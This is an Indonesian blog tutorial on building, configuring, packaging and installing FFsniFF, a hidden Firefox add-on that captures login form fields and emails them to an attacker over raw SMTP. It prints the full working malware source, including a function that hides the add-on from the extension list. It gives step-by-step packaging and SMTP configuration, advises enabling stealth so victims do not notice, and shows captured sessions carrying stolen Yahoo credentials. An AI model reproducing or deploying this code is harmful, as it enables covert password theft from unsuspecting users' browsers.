Custom Search

Senin, 16 Maret 2009

Menjaring Password dengan Firefox Sniffer

By: Rizki Wicaksono

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.

Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.


Sekilas tentang addon Firefox

Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.

Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:

1
2
3
4
5
6
7
8
9
10
11
exampleExt.xpi:
/install.rdf
/components/*
/components/cmdline.js
/defaults/
/defaults/preferences/*.js
/plugins/*
/chrome.manifest
/chrome/icons/default/*
/chrome/
/chrome/content/

install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.

Membuat paket instalasi ffsniff.xpi

Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:

1
2
3
4
5
6
7
8
9
pkg_creator.py
src/
src/install.rdf
src/chrome/
src/chrome/content/
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf

File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.

Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:

1
2
3
4
5
6
7
var send_from_host = "";
var send_from = "";
var send_to = "";
var subject = "";
var smtp_host = "";
var smtp_port = "";
var enable_hide = "";

Konfigurasi smtp untuk @ilmuhacking.com

MX record ilmuhacking.com

MX record ilmuhacking.com

Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.

send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).

enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.

smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.

1
2
3
4
5
6
7
var send_from_host = "ilmuhacking.com";
var send_from = "testing@ilmuhacking.com";
var send_to = "testing@ilmuhacking.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "ilmuhacking.com";
var smtp_port = "25";
var enable_hide = "no";

Konfigurasi smtp untuk @telkom.net

Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:

1
2
3
4
5
6
7
var send_from_host = "telkom.net";
var send_from = "rizki.wicaksono@telkom.net";
var send_to = "rizki.wicaksono@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";

Membuat file ffsniff.jar

Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:

content/ffsniff/contents.rdf
content/ffsniff/ffsniffOverlay.js
content/ffsniff/ffsniffOverlay.xul

Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.

ffsniff.jar list files

ffsniff.jar list files


Membuat file ffsniff.xpi

Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:

install.rdf
chrome/ffsniff.jar

Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.

ffsniff.xpi file list

ffsniff.xpi file list


Instalasi Firefox Sniffer

Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.

instalasi firefox sniffer

instalasi firefox sniffer

Mencoba login ke yahoo

Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@ilmuhacking.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.

log sniffer email

log sniffer email

Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.

Email Sniffer Log

Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:

1
2
3
4
5
6
7
8
9
Return-path: 
Envelope-to: testing@ilmuhacking.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
by gator669.hostgator.com with esmtp (Exim 4.69)
(envelope-from )
id 1Lcywa-0002DK-Jj
for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer

Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:

Return-Path: 
Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
by mx1.mail.telkom.net with esmtp id 1LeiKy-0001qP-O1
for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID:

Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.

FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.

Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.

How FFsniff Works

Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService);
var transport = "";
var outstream = "";
var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
var stream = "";
// find out FF version
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);

var data = "";
var data0 = "EHLO " + send_from_host + "\r\n"
var data1 = "MAIL FROM: <" + send_from + ">\r\n"
var data2 = "RCPT TO: <" + send_to + ">\r\n"
var data3 = "DATA\r\n"
var data4 = "\r\n.\r\n"
var data5 = "QUIT\r\n"
function send_data() {
transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null);
outstream = transport.openOutputStream(0, 0, 0);
stream = transport.openInputStream(0, 0, 0);
instream.init(stream);

// this will avoid 'Improper use of SMTP command pipelining'
// error on SMTP servers
outstream.write(data0, data0.length);
while (instream.available() == 0) {}
instream.read(instream.available());

outstream.write(data1, data1.length);
while (instream.available() == 0) {}
instream.read(instream.available());

outstream.write(data2, data2.length);
while (instream.available() == 0) {}
instream.read(instream.available());

outstream.write(data3, data3.length);
while (instream.available() == 0) {}
instream.read(instream.available());

outstream.write(data, data.length);
// don't read here cos no data was send to us
//while (instream.available() == 0) {}
//instream.read(instream.available());

outstream.write(data4, data4.length);
while (instream.available() == 0) {}
instream.read(instream.available());

outstream.write(data5, data5.length);
while (instream.available() == 0) {}

outstream.close();
instream.close();
}
if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
var workingThread = function() {
};

workingThread.prototype = {
run: function() {
send_data();
}
};
} else {
var runnable = {
run: function() {
send_data();
}
}
}
function sniff() {
// if we are running under 3.0 or later
if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0);
thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
} else {
var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread);
thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE);
}
}

function do_sniff() {
var ok = 0;
var hesla = window.content.document.getElementsByTagName("input");
data = "";
for (var i = 0; i < hesla.length; i++) {
if (hesla[i].value != "") {
if (hesla[i].type == "password") {
ok = 1;
}
if (hesla[i].name == "") {
data += hesla[i].type + ":" + ":" + hesla[i].value + "\n";
}
else {
data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n";
}
}
}
if (ok == 1) {
data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data;
sniff()
}
}
function hide_me() {
var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService);
var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer);
var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource;
var root = RDFService.GetResource("urn:mozilla:item:root");
var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
Container.Init(extensionDS, root);
var elements = Container.GetElements();
while (elements.hasMoreElements()) {
var element = elements.getNext();
var name = "";
var target = extensionDS.GetTarget(element, nameArc, true);
if (target) {
name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
if (name == "FFsniFF") {
Container.RemoveElement(element, true);
}
}
}
}
if (enable_hide == "yes") {
hide_me();
}
window.addEventListener("submit", do_sniff, false);

Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.

how ffsniff works

how ffsniff works

Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.

Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag yang ada dengan fungsi window.content.document.getElementsByTagName(”input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.

Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
220-mx1.mail.plasa.com ESMTP
220 UBE, porn, and abusive content not allowed
EHLO telkom.net
250-mx1.mail.plasa.com
250-8BITMIME
250 SIZE 20971520
MAIL FROM:
250 sender ok
RCPT TO:
250 recipient ok
DATA
354 go ahead
Subject: Log Firefox Sniffer

https://login.yahoo.com/config/login?
type:name:value
---------------
hidden:.tries:2
hidden:.intl:us
hidden:.u:6220o3t4qrv31
hidden:.v:0
hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
hidden:hasMsgr:0
hidden:.chkP:Y
hidden:.done:http://my.yahoo.com
hidden:.pd:_ver=0&c=&ivt=&sg=
text:login:rizkiwicaksono
password:passwd:inipasswordku
checkbox:.persistent:y
submit:.save:Sign In
.
250 ok: Message 119895912 accepted
221 mx1.mail.plasa.com
QUIT

Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:

220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
EHLO ilmuhacking.com
250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
250-SIZE 52428800
250-PIPELINING
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP
MAIL FROM:
250 OK
RCPT TO:
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Subject: Log Firefox Sniffer

https://login.yahoo.com/config/login?
type:name:value
---------------
hidden:.tries:1
hidden:.intl:us
hidden:.u:eljvtc94qs023
hidden:.v:0
hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
hidden:hasMsgr:0
hidden:.chkP:Y
hidden:.done:http://my.yahoo.com
hidden:.pd:_ver=0&c=&ivt=&sg=
text:login:rizkiwicaksono
password:passwd:inipasswordakujuga
checkbox:.persistent:y
submit:.save:Sign In
.
250 OK id=1LeiW6-0002zu-LA
QUIT
221 gator669.hostgator.com closing connection

Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password.

Menjaring Password dengan Firefox Sniffer

print this page 

1 komentar:

Bayyu Nur Roziqin mengatakan...

kk tolong ajarin saqya lebih lanjut...

Blog: Erwin - Belajar Blog | The Template by : kendhin Website: x-template.blogspot.com| Powered By: Erwin Arianto